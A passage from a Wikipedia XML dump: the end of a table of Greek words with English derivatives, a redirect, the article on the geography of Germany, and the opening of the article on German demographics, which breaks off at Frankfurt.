|{{polytonic|ἄστρον}}||astron||{{polytonic|ἀστρο}}-||astro-||constellation||[[astronomy]], [[astrology]], [[astrophysics]], [[astrodynamics]], [[astronaut]], [[astrolabe]], 
|-
|{{polytonic|ἄσυλον}}||asulon||{{polytonic|ἀσυλ}}-||asyl-||sanctuary||[[asylum]]
|-
|{{polytonic|ἀσφυξία}}||asphuxia||{{polytonic|ἀσφυξ}}-||asphyx-||stopping of the pulse||[[asphyxiant]]
|-
|{{polytonic|ἀτμόσφαιρα}}||atmosphaera||{{polytonic|ἀτμοσφαιρ}}-||atmospher-||vapor + sphere||[[Atmosphere (unit)|atmosphere]], [[atmospheric]]
|-
|{{polytonic|Ἂτλας}}||Atlas||{{polytonic|ἀτλα}}-||atla-||name of a Titan||[[atlas]], [[Atlantic]]
|-
|{{polytonic|ἄτομος}}||atomos||{{polytonic|ἀτομ}}-||atom-||un + cut||[[atomic]], [[atomizer]]
|-
|{{polytonic|ἄτονία}}||atonia||{{polytonic|ἀτον}}-||aton-||slack||[[atony]], [[atonal]]
|-
|{{polytonic|ἄτροπος}}||atropos||{{polytonic|ἀτροπ}}-||atrop-||inexorable||[[atropos]], [[atropine]], [[atropa]]
|-
|{{polytonic|ἄτροφος}}||atrophos||{{polytonic|ἀτροφ}}-||atroph-||ill-nourished||[[atrophy]]
|-
|{{polytonic|Ἀττική}}||Attiki||{{polytonic|Ἀττικ}}-||attic-||A region of east-central Greece ||[[attic]], [[atticism]]
|-
| {{polytonic|αὐθεντικός}}||authentikos||{{polytonic|αὐθεντικ}}-||authentic-||original||[[authentication]], [[authentic]]
|-
|{{polytonic|αὐστηρός}}||austēros||{{polytonic|αὐστηρ}}-||auster-||harsh, bitter||[[austerity]]
|-
|{{polytonic|αὐταρχία}}||autarchia||{{polytonic|αὐταρχ}}-||autarch-||absolute governing||[[autarchy]], [[autarchic]]
|-
|{{polytonic|αὐτάρκεια}}||autarkia||{{polytonic|αὐτάρκ}}-||autark-||self-sufficiency||[[autarky]]
|-
|{{polytonic|αὐτόχθων}}||autochthōn||{{polytonic|αὐτόχθ}}-||autochth-||of the land itshelf||[[autochton]], [[autochthonic]], [[autochthonous]]
|-
|{{polytonic|αὐτοψία}}||autopsia||{{polytonic|αὐτοψ}}-||autops-||a seeing for oneself ||[[autopsy]], [[autopsic]]
|-
|{{polytonic|αὐξάνειν}}||auxanein||{{polytonic|αὐξ}}-||aux-||to increase||[[auxin]], [[auxesis]],
|-
| {{polytonic|αὐτός}}||autos||{{polytonic|αὐτο}}-||auto-||self ''(reflexive pronoun)''||[[autonomy]], [[automatic]]
|-
| {{polytonic|ἀφαιρείν}}||aphairein||{{polytonic|ἀφαιρ}}-||apher-||take away|| [[apheresis]], [[hemaphairesis]]
|-
| {{polytonic|ἀφανής}}||aphanēs||{{polytonic|ἀφαν}}-||aphan-||unseen||[[aphanes]], [[aphaniotis]], [[aphanite]], [[aphanitic]]
|-
| {{polytonic|ἄφατος}}||aphatos||{{polytonic|ἀφασ}}-||aphas-||speechless||[[aphasia]], [[aphasiology]], [[anomic aphasia]]
|-
| {{polytonic|ἀφή}}||aphē||{{polytonic|ἀφ}}-||aph-||sense of touch||[[aphenphosmphobia]], [[haphephobia]]
|-
| {{polytonic|ἀφιέναι}}||aphienai||{{polytonic|ἀφεσ}}-||aphes-||to let go||[[Elision|aphesis]], [[aphetic]]
|-
| {{polytonic|Ἀφροδίτη}}||Aphroditē||{{polytonic|ἀφροδι}}-||aphrodi-||risen from sea-foam, name of a goddess||[[aphrodisiac]], [[April]]
|-
| {{polytonic|ἀχαίνειν}}||khainein||{{polytonic|ἀχαιν}}-||achen-||without yawning||[[achene]]
|-
| {{polytonic|ἀχάτης}}||achātēs||{{polytonic|ἀχάτ}}-||agat-||a variety of mineral||[[agate]], [[agateware]]
|-
| {{polytonic|ἀχρώματος}}||akhrōmatos||{{polytonic|ἀχρωματ}}-||achrοmat-||without color||[[achromatic]], [[achromatin]]
|-
|{{polytonic|ἁψίς}}||hapsis||{{polytonic|ἁψ}}-||aps-||arch||[[apse]], [[apsis]],[[apsidal]], [[hassium]]
|}

===Β===
'''''b'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|βάρβαρος}}||barbaros|| {{polytonic|βαρβαρο}}-||barbaro-||stranger, non-Greek||[[barbarian]]
|-
| {{polytonic|βαρύς}}||barus||{{polytonic|βαρυ}}-||baru-||heavy||[[baritone]]
|-
| {{polytonic|βίος}}||bios||{{polytonic|βιο}}-||bio-||life||[[biology]]
|-
| {{polytonic|βορεας}}||boreas||{{polytonic|βορεαλ}}-||boreal-||north, the north wind||[[Aurora Borealis]],[[hyperborean]]
|-
| {{polytonic|βραχύς}}||brachus||{{polytonic|βραχυ}}-||brachu-||short||[[brachycephalic]]
|}
===Γ===
'''''g'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|γαῖα, γῆ}}||gaia, gē||{{polytonic|γεα}}-||gea-||earth||[[geology]], [[Gaia (mythology)|Gaia]], [[geometry]]
|-
| {{polytonic|γάμος}}||gamos||{{polytonic|γαμ}}-||gam-||marriage||[[polygamy]], [[gamete]]
|-
| {{polytonic|γέννησις}}||genesis||{{polytonic|γέν}}-||gen-||to give birth, beget|| [[genetics|genetic]]
|-
| {{polytonic|γιγνῶσκειν}}||gignōskein||{{polytonic|γνῶ}}-||gnō-&lt;br&gt;gnē-||to know|| [[diagnostic]], [[agnostic]]
|-
| {{polytonic|γίγας}}||gigas||{{polytonic|γιγ}}-||giga-||huge, enormous|| Giga- (prefix) as in [[gigabyte]], [[gigantic]]

|-
| {{polytonic|γράφειν}}||graphein||{{polytonic|γραφ}}-||graph-||to write|| [[graphics]], [[geography]]
|-
| {{polytonic|γυνή}}||gunē||{{polytonic|γυναικ}}-||gunaik-||woman||[[polygyny]], [[gynecology]] [[misogynist]]
|}

===Δ===
'''''d'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
|{{polytonic|δῆμος}}||dēmos|| {{polytonic|δημο}}-||dēmo-||district, its inhabitants, commoners||[[democracy]], [[demographic]]
|-
| {{polytonic|δόξα}}||doxa||{{polytonic|δοξ}}-||dox-||opinion||[[orthodox]], [[paradox]]
|-
| {{polytonic|δράσις}}||drasis||{{polytonic|δρασ}}-||dras-||action|| drastic, anadrastic
|}

===Ε===
'''''(h)e'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
|{{polytonic|εἰκών}}||eikon||{{polytonic|εἰκών}}||icon||icon, picture, painting||[[icon]], [[iconicity]], [[iconoclast]]
|-
|{{polytonic|ἕλιξ}}||helix||{{polytonic|ἑλικ-}}||helic-||helix||[[helix]], [[helicopter]], [[helicity]]
|-
|{{polytonic|ἑπτά}}||hepta||{{polytonic|ἑπτα}}-||hepta-||seven||[[heptarchy]], [[heptagon]], [[heptameter]]
|-
|{{polytonic|εὖ}}||eu||{{polytonic|εύ}}-||eu-||well||[[eulogy]], [[euphoria]]
|}

===Ζ===
'''''z'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|ζῶον}}||zōon||{{polytonic|ζωο}}-||zōo-||animal||[[zoology]]
|}
===Η===
'''''(h)ē'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
|{{polytonic|ἡγεμῶν}}||hēgemōn||{{polytonic|ἡγεμον}}-||hēgemon-||leader||[[hegemony]]
|-
|{{polytonic|ἥλιος}}||hēlios||{{polytonic|ἡλιο}}-||hēlio-||sun||[[helion]], [[heliotropic]], [[heliocentric]]
|-
|{{polytonic|ἠώς}}||ēōs||{{polytonic|ἠο}}-||ēo-||dawn||[[eocene]]
|}

===Θ===
'''''th'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|θεός}}||theos||{{polytonic|θε}}-||the-||a god||[[theology]], [[atheism]]
|-
| {{polytonic|θερμός}}||thermos||{{polytonic|θερμ}}-||therm-||hot||[[isotherm]], [[thermoelectric]], [[Vacuum flask|Thermos (brand of vacuum flask)]])
|}

===Ι===
'''''(h)i'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
|{{polytonic|ἰατρός}}||iatros||{{polytonic|ἰατρο}}-||iatro-||physician||[[psychiatrist]]
|-
|{{polytonic|ἴδιος}}||idios||{{polytonic|ἰδι}}-||idi-||one’s own, private||[[idiolect]], [[idiom]]
|-
|{{polytonic|ἱερός}}||hieros||{{polytonic|ἱερο}}-||hiero-||sacred||[[hierarchy]], [[hieroglyph]]
|-
| {{polytonic|ἰχθύς}}||ikhthus||{{polytonic|ἰχθυ}}-||ikhthu-||fish||[[ichthyology]], [[ikhthus]]
|}

===Κ===
'''''k, c'''''
{|border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2|Root form!!Meaning!! English Derivative
|-
|{{polytonic|κακός}}||kakos||{{polytonic|κακο}}-||kako-||bad||[[cacophony]]
|-
|{{polytonic|Καλυψω}}||Kalypso||{{polytonic|καλυψε}}-||kalypse-||to cover, to hide||[[Calypso]],[[apocalypse]],[[eclipse]]
|-
|{{polytonic|κινεσθαι}}||kinesthai||{{polytonic|κινεσις}}-||kinesis-||to move, motion||[[psychokinesis]],[[kinetic energy]],[[kinesis]]
|-
|{{polytonic|κλῶνος}}||klōnos||{{polytonic|κακο}}-||klōn-||branch, twig||[[Cloning|clone]], [[cloning]] 
|-
|{{polytonic|κόσμος}}||kosmos||{{polytonic|κοσμ}}-||kosm-||order, the universe, jewell||[[cosmography]], [[cosmetic]] 
|-
|{{polytonic|κράτος}}||kratos||{{polytonic|κρατ}}-||krat-||power, rule||[[autocrat]], [[democracy]], [[bureaucracy]]
|}

===Λ===
'''''l'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
|{{polytonic|λεξις}}||lexis|| {{polytonic|λεξι}}-||lexi-||word||[[lithography]], [[dyslexia]], [[lexicon]], [[Alexia]]
|-
|{{polytonic|λίθος}}||lithos|| {{polytonic|λιθο}}-||litho-||stone||[[lithography]], [[neolithic]]
|-
| {{polytonic|λόγος}}||logos||{{polytonic|λογο}}-||logo-||thought, word ||[[theology]], [[logic]]
|-
|{{polytonic|λυειν}}||lyein|| {{polytonic|λυσις}}-||lysis-||to break, loosen||[[lysis]], [[electrolysis]], [[analysis]], [[Lysistrata]] [[linux]]
|}

===Μ===
'''''m'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|μακρός}}||makros||{{polytonic|μακρο}}-||makro-||long||[[macron]], [[macrobiotic]]
|-
| {{polytonic|μέγας}}||megas||{{polytonic|μεγ}}-||mega-||big, large||Mega- (prefix), as in [[megabyte]], [[megafauna]], [[megaphone]]
|-
| {{polytonic|μέλας}}||melas||{{polytonic|μελαν}}-||melan-||pigmented, black, ink||[[Melanesia]], [[melanocyte]], [[melancholy]]
|-
| {{polytonic|μέταλλον}}||metallon||{{polytonic|μεταλλ}}-||metal-||metal||[[medal]], [[metalloid]]
|-
| {{polytonic|μικρός}}||mikros||{{polytonic|μικρο}}-||mikro-||small|| [[microscope]]
|-
| {{polytonic|μνῆστις}}||mnēstis||{{polytonic|μνη}}-||mne-||memory||[[amnesia]], [[amnesty]], [[mnemonic]]
|-
| {{polytonic|μόνος}}||monos||{{polytonic|μονο}}-||mono-||alone, solitary, forsaken||[[monotony]], [[monologue]], [[monogamy]], [[monocle]], [[monolith]], [[monotheist]], [[monopsony]], [[monopoly]]
|-
| {{polytonic|Μοῦσα}}||Mousa||{{polytonic|μουσ}}-||mous-||a patron goddess of the arts||[[music]], [[museum]]
|}

===Ν===
'''''n'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|ναυτικός}}||nautikos||{{polytonic|ναυτ-}}||naut-||sailor, ship||[[nautical]], [[astronaut]]
|-
| {{polytonic|νέος}}||neos||{{polytonic|νεο}}-||neo-||new, young||[[neon]], [[neologism]]'''
|-
|}

===Ξ===
'''''x'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|ξένος}}||xenos||{{polytonic|ξενο}}-||xeno-||strange, stranger, guest||[[xenophobia]]
|-
| {{polytonic|ξύλον}}||xulon||{{polytonic|ξυλ}}-||xul-||wood||[[xylophone]], [[xylem]]'''
|-
|}

===Ο===
'''''(h)o'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|ὀδούς}} ||odous||{{polytonic|ὀδοντ}}-||odont-||tooth||[[orthodontia]]
|-
| {{polytonic|οῒνος}} ||oinos||{{polytonic|οἰνο-}}||oino-||wine||[[oenomel]]
|-
| {{polytonic|ὀλίγος}}||oligos||{{polytonic|ὀλιγο}}-||oligo-||few, little||[[oligarchy]]
|-
| {{polytonic|ὅμοιος}}||homoios||{{polytonic|ὁμοιο}}-||homoio-||similar||[[homeopathy]]
|-
| {{polytonic|ὀξύς}}||oxus||{{polytonic|ὀξυ}}-||oxu-||sharp, acid, sour||[[oxygen]]
|-
| {{polytonic|ὄργανον}}||organon||{{polytonic|ὀργαν-}}||organ-||organ, instrument, tool||[[organ]], [[organism]]
|-
| {{polytonic|ὀρθός}}||orthos||{{polytonic|ὀρθ}}-||orth-||straight, correct, normal||[[orthography]], [[orthogonal]]
|}

===Π===
'''''p'''''
{|border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
|{{polytonic|πάθος}}||pathos||{{polytonic|παθ}}-||path-||suffering, disease||[[pathology]]
|-
|{{polytonic|παιδεία}}|||paideia||{{polytonic|παιδεια}}-||paideia-||education, culture||[[encyclopedia|encyclop(a)edia]]
|-
|{{polytonic|παǐς}}||pais||{{polytonic|παιδ}}-||paid-||boy, child||[[paediatrician]], [[pedophilia]]
|-
|{{polytonic|πᾶς}}||pas||{{polytonic|παν-, παντο-}}||pan-, panto-||all, complete||[[pantheism]], [[pantomime]]
|-
|{{polytonic|πατήρ}}||patēr||{{polytonic|πατρ-}}||patr-||father||[[patriarch]]
|-
|{{polytonic|περί}}||peri||{{polytonic|περι}}-||peri||around||[[perimeter]]
|-
| {{polytonic|πόλος}}|||polοs||{{polytonic|πολ}}-||pol-||axis, sky||[[North Pole]], [[polarize]], [[Polaris]]
|-
| {{polytonic|πολύς}}|||polus||{{polytonic|πολυ}}-||polu-||many, much||[[Polynesia]], [[polytonic]]
|-
| {{polytonic|ποταμός}}|||potamos||{{polytonic|ποταμ}}-||potam-||river||[[hippopotamus]], [[Mesopotamia]]
|-
| {{polytonic|πρόγραμμα}}|||programma||{{polytonic|προγραμματ-}}||programmat-||proclamation, agenda||[[programmer]], [[programmatic]]
|}

===Ρ===
'''''r(h)'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
|{{polytonic|ῥεῦμα}}||rheuma||{{polytonic|ῥευματ}}-||rheumat-||a flowing, rheum||[[rheumatism]], [[rheum]]
|-
|{{polytonic|ῥίς}}||rhis||{{polytonic|ῥιν}}-||rhin-||nose||[[rhinoceros]], [[rhinoplasty]]
|}

===Σ===
'''''s'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|σαˈρξ}}||sarx||{{polytonic|σαρκο}}-||sarko-||flesh||[[sarcophagus]],[[sarcasm]]
|-
| {{polytonic|σαῦρος}}||sauros||{{polytonic|σαυρο}}-||sauro-||lizard||[[dinosaur]]
|-
| {{polytonic|σκοπός}}||skopos|| {{polytonic|σκοπ}}-||skop-||observer||[[telescope]]
|-
| {{polytonic|σοφία}}||sophia||{{polytonic|σοφια}}-||sophia-||knowledge, wisdom|| [[philosophy]], [[sophistry]]
|}

===Τ===
'''''t'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|τῆλε}}||tēle||{{polytonic|τηλε}}-||tēle-||distant||[[telephone]], [[telepathy]]
|-
| {{polytonic|τόξον}}||toxon||{{polytonic|τοξ}}-||tox-||archer’s bow, poison||[[toxin]]
|}

===Υ===
'''''(h)u, (h)y'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|ὕδωρ}}||hudōr|| {{polytonic|ὑδρο}}-||hudro-||water||[[hydrodynamics]], [[hydrolysis]]
|-
| {{polytonic|ὕπνος}}||hupnos|| {{polytonic|ὑπνο}}-||hupno-||sleep||[[hypnotism]]
|}

===Φ===
'''''ph'''''
{|border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!!English Derivative
|-
|{{polytonic|φαγειν}}|||phagein||{{polytonic|φαγε}}-||phage-||to eat|| [[bacteriophage]],[[sarcophagus]]
|-
|{{polytonic|φιλία&lt;br&gt;φίλος}}|||philia, &lt;br&gt;philos||{{polytonic|φιλια-&lt;br&gt;φιλο}}-||philia-, &lt;br&gt;philo-||friendship&lt;br&gt;friend|| [[Philadelphia]], [[philosophy]], &lt;br&gt;[[zoophilia]]
|-
|{{polytonic|φως}}|||phos||{{polytonic|φος}}-||phos-||light|| [[phosphorus]], [[photography]], [[photogenic]]
|-
|{{polytonic|φοβία&lt;br&gt;φόβος}}||phobia&lt;br&gt;phobos||{{polytonic|φοβια&lt;br&gt;φοβο}}-||phobia&lt;br&gt;phobo-||irrational fear&lt;br&gt;fear|||[[phobia]], [[Cryophobia]]&lt;!-- 


For a foul list: 
http://www.phobialist.com/reverse.html#C-


 --&gt;&lt;br&gt;[[Phobos (god)|Phobos]], 
|-
|{{polytonic|φυτόν}}||phuton||{{polytonic|φυτο}}-||phuto-||plant||[[Wiktionary:neophyte|neophyte]]
|-
|{{polytonic|φωνή}}||phōnē||{{polytonic|φωνη}}-||phōnē-||voice|| [[telephone]], [[phonograph]]
|}

===Χ===
'''''kh, ch'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|χαίτη}}||khaitē||{{polytonic|χαιτη}}-||khaitē-||loose, flowing hair||[[polychaete]]
|-
| {{polytonic|χειρ}}||kheir||{{polytonic|χειρ}}-||kheir-||hand||[[Chiroptera]], [[chiromancy]], [[chiropractor]]
|-
| {{polytonic|χρόνος}}||khronos||{{polytonic|χρον}}-||khrono-||time||[[chronology]], [[chronometer]]
|}

===Ψ===
'''''ps'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
| {{polytonic|ψυχή}}||psukhē||{{polytonic|ψυχη}}-||psukhē-||spirit, soul||[[psychology]]
|}

===Ω===
'''''(h)ō'''''
{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
|{{polytonic|ὠόν}}||ōon||{{polytonic|ὠο}}-||ōo-||egg||[[oocyte]], [[oology]]
|-
|{{polytonic|ὥρα}}||hōra||{{polytonic|ὡρα}}-||hōra-||season, hour||[[horoscope]]
|}

==References==

H. G. Liddell and R. Scott, ''Greek-English lexicon, with a revised supplement''. Clarendon Press, Oxford, 1996. ISBN 0-19-864226-1 

==See also==
* [[Greek language]]
* [[Classical compound]]
* [[Transliteration of Greek into English]]
* [[English words of Greek origin]]
* [[List of Latin words with English derivatives]]
* [[Greek words for love]]
* [[Iso]]

==External links==

* [http://babel.lexilogos.com/ellenika/lexique.htm English-French-modern Greek vocabulary] : words of Greek origin 
* [http://www.perseus.tufts.edu/ The Perseus Project] - has many useful pages for the study of classical languages and literatures, including dictionaries.

[[Category:Glossaries]]
[[Category:Hellenic languages and dialects]]
[[Category:Etymology]]

[[el:Κατάλογος αγγλικών λέξεων που προέρχονται απ' την ελληνική γλώσσα]]</text>
    </revision>
  </page>
  <page>
    <title>Germany/politics</title>
    <id>11927</id>
    <revision>
      <id>15909638</id>
      <timestamp>2002-08-23T16:09:45Z</timestamp>
      <contributor>
        <username>Gianfranco</username>
        <id>918</id>
      </contributor>
      <comment>#REDIRECT [[Politics of Germany]]</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Germany]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Germany</title>
    <id>11928</id>
    <revision>
      <id>40645580</id>
      <timestamp>2006-02-22T01:01:58Z</timestamp>
      <contributor>
        <username>Greatigers</username>
        <id>347900</id>
      </contributor>
      <comment>Removed Test</comment>
      <text xml:space="preserve">This article describes the '''[[geography]] of [[Germany]]'''.

[[Image:LocationGermany.png|thumb|1500x|right|Location of Germany]]
==Location==
:Central [[Europe]] on [[North European Plain]] and along the entrance to the Baltic Sea, bordering the [[Baltic Sea]] and the [[North Sea]], between the [[Netherlands]] and [[Poland]], south of [[Denmark]] and north of [[Austria]] and [[Switzerland]].
: [[Geographic coordinates]]:
: {{coor dm|51|00|N|9|00|E|type:country}}
: Map references: Europe

==Area==
:* Total: [[1 E11 m²|357,021]] [[square kilometre|km²]]
:* Land: 349,223 km²
:* Water: 7,798 km²
==[[Climate]]==
Temperate and marine; cool, cloudy, wet winters and summers; occasional warm [[föhn wind]]. The greater part of Germany lies in the cool/temperate climatic zone in which humid westerly winds predominate. In the north-west and the north the climate is extremely oceanic and rain falls all the year round. Winters there are relatively mild and summers comparatively cool. In the east the climate shows clear continental features; winters can be very cold for long periods, and summers can become very warm. Here too, long dry periods are often recorded. In the centre and the south there is a transitional climate which may be predominantly oceanic or continental, according to the general weather situation.

[[Image:Deutschland topo.png|thumb|400x|right|Altitude levels]]

==Terrain==
Lowlands in north, uplands in centre, [[Bavarian Alps]] in south.

'''Elevation extremes:'''
* Lowest point: Wilstermarsch (near [[Itzehoe]]) - 3.5 [[metre|m]]
* Highest point: [[Zugspitze]] (in [[Bavarian Alps]]) - 2962 [[metre|m]]

==Land boundaries==
* Total: 3,621 km
* Border countries: [[Austria]] 784 km, [[Belgium]] 167 km, [[Czech Republic]] 646 km, [[Denmark]] 68 km, [[France]] 451 km, [[Luxembourg]] 138 km, [[Netherlands]] 577 km, [[Poland]] 456 km, [[Switzerland]] 334 km
==[[Coastline]]==
* length 2,389 km
[[image:Germanymap2.png|thumb|400x|right|Rivers]]

==[[Maritime claims]]==
* [[Continental shelf]]: 200m depth or to the depth of exploitation
* [[Exclusive economic zone]]: 200 [[Nautical mile|nm]]
* Territorial sea: 12 nm
==Rivers==
See [[list of rivers in Germany]]
*major rivers are
**[[Rhine]] (Rhein in German) with a German part of 865 km drains into the [[North Sea]], main tributaries: [[Neckar]], the [[Main]] and the [[Moselle River|Moselle]] (Mosel).   
**[[Elbe]] with a German part of 727 km drains into the [[North Sea]]
**[[Danube]] (Donau in German) with a German part of 687 km drains into the [[Black Sea]]

==[[Lake]]s==
*Major lakes are
**[[Bodensee]] - 536 km² (with a German part of the coastline of 62%, the German part of the area is not fixed)
**[[Müritz]] - 117 km²
**[[Chiemsee]] - 79,9 km²

==Land use==
* Arable land: 33%
* Permanent crops: 1%
* Permanent pastures: 15%
* Forests and woodland: 31%
* Other: 20% (1993 est.)

==Natural resources==
*[[Iron]] ore, [[coal]], [[potash]], timber, [[lignite]], [[uranium]], [[copper]], [[natural gas]], [[salt]], [[nickel]], arable land
==Irrigated land==
: 4,750 km² (2007 est.)

==Natural hazards==
*Flooding

==Environment--Current issues==
*Emissions from coal-burning utilities and industries contribute to air pollution; acid rain, resulting from sulphur dioxide emissions, is damaging forests; pollution in the Baltic Sea from raw sewage and industrial effluents from rivers in eastern Germany; [[hazardous waste]] disposal; government (under Chancellor Schröder, SPD) announced intent to end the use of nuclear power for producing electricity; government working to meet EU commitment to identify nature preservation areas in line with the EU's Flora, Fauna, and Habitat directive.

== [[Natural environment|Environment]]--International Agreements==
* Party to: Air Pollution, Air Pollution-[[Nitrogen Oxides]], Air Pollution-Sulphur 85, Air Pollution-Sulphur 94, Air Pollution-Volatile Organic Compounds, Antarctic-Environmental Protocol, Antarctic Treaty, Biodiversity, Climate Change, Climate Change-Kyoto Protocol, Desertification, Endangered Species, Environmental Modification, Hazardous Wastes, Law of the Sea, Marine Dumping, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution, Tropical Timber 83, Tropical Timber 94, Wetlands, Whaling
* Signed, but not ratified: Air Pollution-Persistent Organic Pollutants

==Extreme points==
[[Image:Extreme points Germany.png|thumb|right|200px|Extreme points]]
This is a list of the '''extreme points of [[Germany]]''', the points that are farther [[north]], [[south]], [[east]] or [[west]] than any other location.

* Northernmost Point: [[List, Germany|List]], [[Sylt]], [[Schleswig-Holstein]]
* Southernmost Point: [[Oberstdorf]], [[Bavaria]]
* Westernmost Point: [[Millen]], [[North Rhine-Westphalia]]
* Easternmost Point: [[Deschka]], [[Saxony]]

The northernmost point in [[mainland]] [[Germany]] lies near [[Aventoft]], [[Schleswig-Holstein]]

The extreme points of medieval Germany are mentioned in the first stanza of ''[[Das Lied der Deutschen]]'', of which the third stanza is today the national anthem of Germany. They were in part no longer accurate when the song was penned, because [[Austria]] and [[Flanders]] had different affiliations by then. The limits mentioned are the [[river|rivers]] [[Meuse|Meuse/Maas]] which crosses [[France]], [[Belgium]] and the [[Netherlands]], the [[Neman River]], which runs through [[Belarus]] and [[Lithuania]] but previously formed part of the border of East Prussia, the [[Adige]] in German-speaking [[South Tyrol]] which was transferred from the [[Habsburg]] Empire to [[Italy]] after [[World War I]], and the [[Little Belt|Belt]] which is a part of the Baltic Sea between Germany and [[Denmark]].

==See also==
*[[Germany]]
*[[National parks (Germany)]]
*[[Geography of Europe]]
*[[Administrative Divisions of Germany]]

[[Category:Geography by country]]
[[Category:Geography of Germany|*]]

[[an:Cheografía d'Alemaña]]
[[de:Geographie Deutschlands]]
[[es:Geografía de Alemania]]
[[fr:Géographie de l'Allemagne]]
[[lt:Vokietijos geografija]]
[[pt:Geografia da Alemanha]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Germany</title>
    <id>11929</id>
    <revision>
      <id>41989741</id>
      <timestamp>2006-03-03T01:56:24Z</timestamp>
      <contributor>
        <ip>70.23.161.113</ip>
      </contributor>
      <comment>/* Ethnic groups */</comment>
      <text xml:space="preserve">[[Image:Deutschland topo.png|thumb|right|300px]]
The population of [[Germany]], currently numbering over 80 million, is primarily of German nationality. There are about 7 million foreign residents, the largest single nationality group of whom are the Turkish. Germany has been a prime destination for refugees from many developing countries, in part because its constitution long had a clause giving a 'right' to [[refugee|political asylum]], but restrictions over the years have made it less attractive. 

Germany has one of the world's highest levels of education, technological development, and economic productivity. Since the end of [[World War II]], the number of youths entering universities has more than tripled, and the trade and technical schools are among the world's best. With a per capita income level of about $27,000, Germany is a broadly middle class society. Germans also are mobile; millions travel abroad each year. A generous social welfare system provides for [[universal health care]], [[unemployment compensation]], and other social needs. Due to Germany's aging population and struggling economy,  the welfare system came under a lot of strain from the 1990s. This lead the government to push through a wide-ranging programme of belt-tightening reforms, [[Agenda 2010]], including the labour market reforms known as [[Hartz concept|Hartz I - IV]]. 

Population: 82,468,000 ([[2005]], 1st quarter avg.)


== Major Cities==

* [[Berlin]] [[Image:Germany Laender Berlin.png|left|80px]]

Berlin is the capital of Germany its largest city. Berlin lies in the eastern part of the country and has a reputation for an Eastern European lifestyle.

[[Berlin/Brandenburg Metropolitan Region|Metropolitan Area]]: 5 million inhabitants

Largest groups of [[Germans]]: Berliners, &quot;Prussians&quot; and others

Largest groups of foreigners: Turks, Poles, Russians 


* [[Hamburg]] [[Image:Germany Laender Hamburg.png|left|80px]]

Hamburg is Germany's most Anglo-Saxon city with a long tradition for sea trade and civil establishment. Hamburg is proud of its sophisticated bar and music scene and its reputation as Germany's &quot;capital of good taste&quot;.

[[Hamburg Metropolitan Region|Metropolitan Area]]: 4 million inhabitants

Largest groups of Germans: Hamburgers, &quot;Saxons&quot; and others

Largest groups of foreigners: Scandinavians, Turks, Portugese


* [[Munich]] [[Image:Karte muenchen in deutschland.png|left|80px]]

The &quot;secret capital&quot; has Germany's highest standard of living. Countless sporting and leasure opportunities - both in the city and in its picturesque region. Munich is a powerhouse of the [[German economy]] and rich in [[Bavaria]]n culture.

Metropolitan Area: 3 million inhabitants

Largest groups of Germans: [[Bavarians]], Franks and &quot;Zugereiste&quot; 

Largest groups of foreigners: [[Austrians]], [[Italians]], [[Croats]]


* [[Cologne]] [[Image:Lage der Stadt Köln in Deutschland.png|left|80px]]

Cologne is the largest and unofficial capital city of the [[Rhineland]], the very Western part of Germany. Particularly among young Germans Cologne is known as a &quot;fun city&quot; for its nightlife and open-minded atmosphere. 

[[Rhein-Ruhr|Metropolitan Area]]: 11 millions

Largest groups of Germans: Rhinelanders, &quot;Prussians&quot; and others

Largest groups of foreigners: Spaniards, Poles, (large Japanese community in [[Düsseldorf]])


* [[Frankfurt]] [[Image:Karte frankfurt am main in deutschland.png|left|80px]]

Frankfurt is the economic and financial center both for Germany and the continental [[European Union]]. Frankfurt is arguably Germany's most international city and [[Frankfurt International Airport]] is one of the biggest airports worldwide. Within Germany the city itself has a reputation to be boring.

[[Frankfurt Rhine Main Area|Metropolitan Area]]: 5 million inhabitants

